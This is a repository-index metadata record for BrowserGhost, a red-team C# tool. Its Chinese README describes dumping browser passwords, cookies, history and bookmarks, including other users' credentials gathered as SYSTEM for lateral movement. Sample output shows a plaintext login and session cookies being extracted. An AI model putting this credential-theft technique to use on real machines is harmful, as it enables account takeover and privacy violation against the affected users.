{"id":13574074,"url":"https://github.com/QAX-A-Team/BrowserGhost","last_synced_at":"2025-04-04T14:31:35.505Z","repository":{"id":37843764,"uuid":"271791157","full_name":"QAX-A-Team/BrowserGhost","owner":"QAX-A-Team","description":"这是一个抓取浏览器密码的工具，后续会添加更多功能","archived":false,"fork":false,"pushed_at":"2022-05-21T14:09:45.000Z","size":991,"stargazers_count":1403,"open_issues_count":5,"forks_count":204,"subscribers_count":25,"default_branch":"master","last_synced_at":"2024-11-05T09:43:43.734Z","etag":null,"topics":["redteam"],"latest_commit_sha":null,"homepage":null,"language":"C#","has_issues":true,"has_wiki":null,"has_pages":null,"mirror_url":null,"source_name":null,"license":null,"status":null,"scm":"git","pull_requests_enabled":true,"icon_url":"https://github.com/QAX-A-Team.png","metadata":{"files":{"readme":"README.md","changelog":null,"contributing":null,"funding":null,"license":null,"code_of_conduct":null,"threat_model":null,"audit":null,"citation":null,"codeowners":null,"security":null,"support":null}},"created_at":"2020-06-12T12:19:06.000Z","updated_at":"2024-11-05T07:29:07.000Z","dependencies_parsed_at":"2022-07-09T06:46:07.309Z","dependency_job_id":null,"html_url":"https://github.com/QAX-A-Team/BrowserGhost","commit_stats":null,"previous_names":[],"tags_count":1,"template":false,"template_full_name":null,"repository_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/QAX-A-Team%2FBrowserGhost","tags_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/QAX-A-Team%2FBrowserGhost/tags","releases_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/QAX-A-Team%2FBrowserGhost/releases","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/QAX-A-Team%2FBrowserGhost/manifests","owner_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners/QAX-A-Team","download_url":"https://codeload.github.com/QAX-A-Team/BrowserGhost/tar.gz/refs/heads/master","host":{"name":"GitHub","url":"https://github.com","kind":"github","repositories_count":247194066,"owners_count":20899425,"icon_url":"https://github.com/github.png","version":null,"created_at":"2022-05-30T11:31:42.601Z","updated_at":"2022-07-04T15:15:14.044Z","host_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub","repositories_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories","repository_names_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repository_names","owners_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners"}},"keywords":["redteam"],"created_at":"2024-08-01T15:00:46.102Z","updated_at":"2025-04-04T14:31:34.659Z","avatar_url":"https://github.com/QAX-A-Team.png","language":"C#","funding_links":[],"categories":["C# #","C# (212)","红队\u0026渗透测试"],"sub_categories":[],"readme":"# BrowserGhost\n\n## 介绍：\n\n这是一个抓取浏览器密码的工具，后续会添加更多功能\n\n## 当前已经完成的功能：\n\n- 实现system抓机器上其他用户的浏览器密码(方便横向移动时快速凭据采集)\n- 用.net2 实现可兼容大部分windows，并去掉依赖(不需要System.Data.SQLite.dll这些累赘)\n- 可以解密chrome全版本密码(chrome80版本后加密方式变了)\n- Chrome已经可以获取login data、cookie、history、book了\n- IE 支持获取书签、密码、history了 (.net2提取密码太复杂了代码参考至`https://github.com/djhohnstein/SharpWeb/raw/master/Edge/SharpEdge.cs`)\n\n\n## 即将去做:\n\n- system权限下获取IE History有点问题\n- 优化输出\n- 监控实时cookie\n- 兼容其他主流浏览器(firefox、360极速浏览器等)\n\n```\nC:\\Users\\Administrator\\Desktop\u003eBrowserGhost.exe\n[+] Current user Administrator\n[*] [4764] [explorer] [Administrator]\n[*] Impersonate user Administrator\n[*] Current user Administrator\n===============Chrome=============\n\n[*]Get Chrome Login Data\n\t[+] Copy C:\\Users\\Administrator\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Login Data to C:\\Users\\Administrator\\AppData\\Local\\Temp\\tmp6B9F.tmp\n\t[URL] -\u003e https://xui.ptlogin2.qq.com/cgi-bin/xlogin\n\t[USERNAME] -\u003e n0thing@gmail.com\n\t[PASSWORD] -\u003e Iloveprettygirls\n\n\t[+] Delete File C:\\Users\\Administrator\\AppData\\Local\\Temp\\tmp6B9F.tmp\n\n[*]Get Chrome Bookmarks\n{\n   \"checksum\": \"eee70b132cc4f9644d01f989e18fdb38\",\n   \"roots\": {\n      \"bookmark_bar\": {\n         \"children\": [ {\n            \"date_added\": \"13236861887917624\",\n            \"guid\": \"c5df2041-d745-4173-af39-b5c48f8d98a2\",\n            \"id\": \"5\",\n            \"name\": \"GitHub\",\n            \"type\": \"url\",\n            \"url\": \"https://github.com/\"\n         } ],\n         \"date_added\": \"13236861618031351\",\n         \"date_modified\": \"13236861887917624\",\n         \"guid\": \"00000000-0000-4000-a000-000000000002\",\n         \"id\": \"1\",\n         \"name\": \"书签栏\",\n         \"type\": \"folder\"\n      },\n      \"other\": {\n         \"children\": [  ],\n         \"date_added\": \"13236861618031378\",\n         \"date_modified\": \"0\",\n         \"guid\": \"00000000-0000-4000-a000-000000000003\",\n         \"id\": \"2\",\n         \"name\": \"其他书签\",\n         \"type\": \"folder\"\n      },\n      \"synced\": {\n         \"children\": [  ],\n         \"date_added\": \"13236861618031381\",\n         \"date_modified\": \"0\",\n         \"guid\": \"00000000-0000-4000-a000-000000000004\",\n         \"id\": \"3\",\n         \"name\": \"移动设备书签\",\n         \"type\": \"folder\"\n      }\n   },\n   \"version\": 1\n}\n\n\n[*]Get Chrome Cookie\n\t[+] Copy C:\\Users\\Administrator\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Cookies to C:\\Users\\Administrator\\AppData\\Local\\Temp\\tmp6D94.tmp\n\t[github.com] \t _device_id=516175fxxxxxxxxx90133c2\n\t[.github.com] \t _octo=GH1.1.3xxxxxxxxx5173\n\t[.google.com] \t NID=204=DEIRBPT8FML_IsHGv1B2xxxxxxxxxxxxxxxxxxxSRlaNRV3-nfhFV8aHAgO6Smtf4JXQqR-W63p0KOVKgVd0VCXv4bKww97DEhc-PI1sVdbD4hGOuVwchN4Bwo-V61AtfjZM\n\t[+] Delete File C:\\Users\\Administrator\\AppData\\Local\\Temp\\tmp6D94.tmp\n\n[*]Get Chrome History\n\t[+] Copy C:\\Users\\Administrator\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\History to C:\\Users\\Administrator\\AppData\\Local\\Temp\\tmp6E32.tmp\n\thttp://github.com/ \t The world’s leading software development platform · GitHub\n\thttps://github.com/ \t GitHub\n\thttps://github.com/login \t Sign in to GitHub · GitHub\n\n\t[+] Delete File C:\\Users\\Administrator\\AppData\\Local\\Temp\\tmp6E32.tmp\n===============IE=============\n\n[*]Get IE Books\n\tC:\\Users\\Administrator\\Favorites\\Sign in to GitHub · GitHub.url\n\t\tURL=https://github.com/session\n\n\n[*]Get IE Password\n\tVault Type   : Web Credentials\n\tResource     : https://github.com/\n\tIdentity     : n0thing@gmail.com\n\tCredential   : Iloveprettygirls\n\tLastModified : 2020/6/17 7:08:50\n\n\n[*]Get IE History\n\thttps://github.com/login\n\thttps://github.com/join\n\thttps://github.com/john\n\thttps://github.com/sign\n\thttp://github.com/\n\thttp://go.microsoft.com/fwlink/p/?LinkId=255141\n[*] Recvtoself\n[*] Current user Administrator\n\n\n\n```\n\n![](2.png)\n","project_url":"https://awesome.ecosyste.ms/api/v1/projects/github.com%2FQAX-A-Team%2FBrowserGhost","html_url":"https://awesome.ecosyste.ms/projects/github.com%2FQAX-A-Team%2FBrowserGhost","lists_url":"https://awesome.ecosyste.ms/api/v1/projects/github.com%2FQAX-A-Team%2FBrowserGhost/lists"}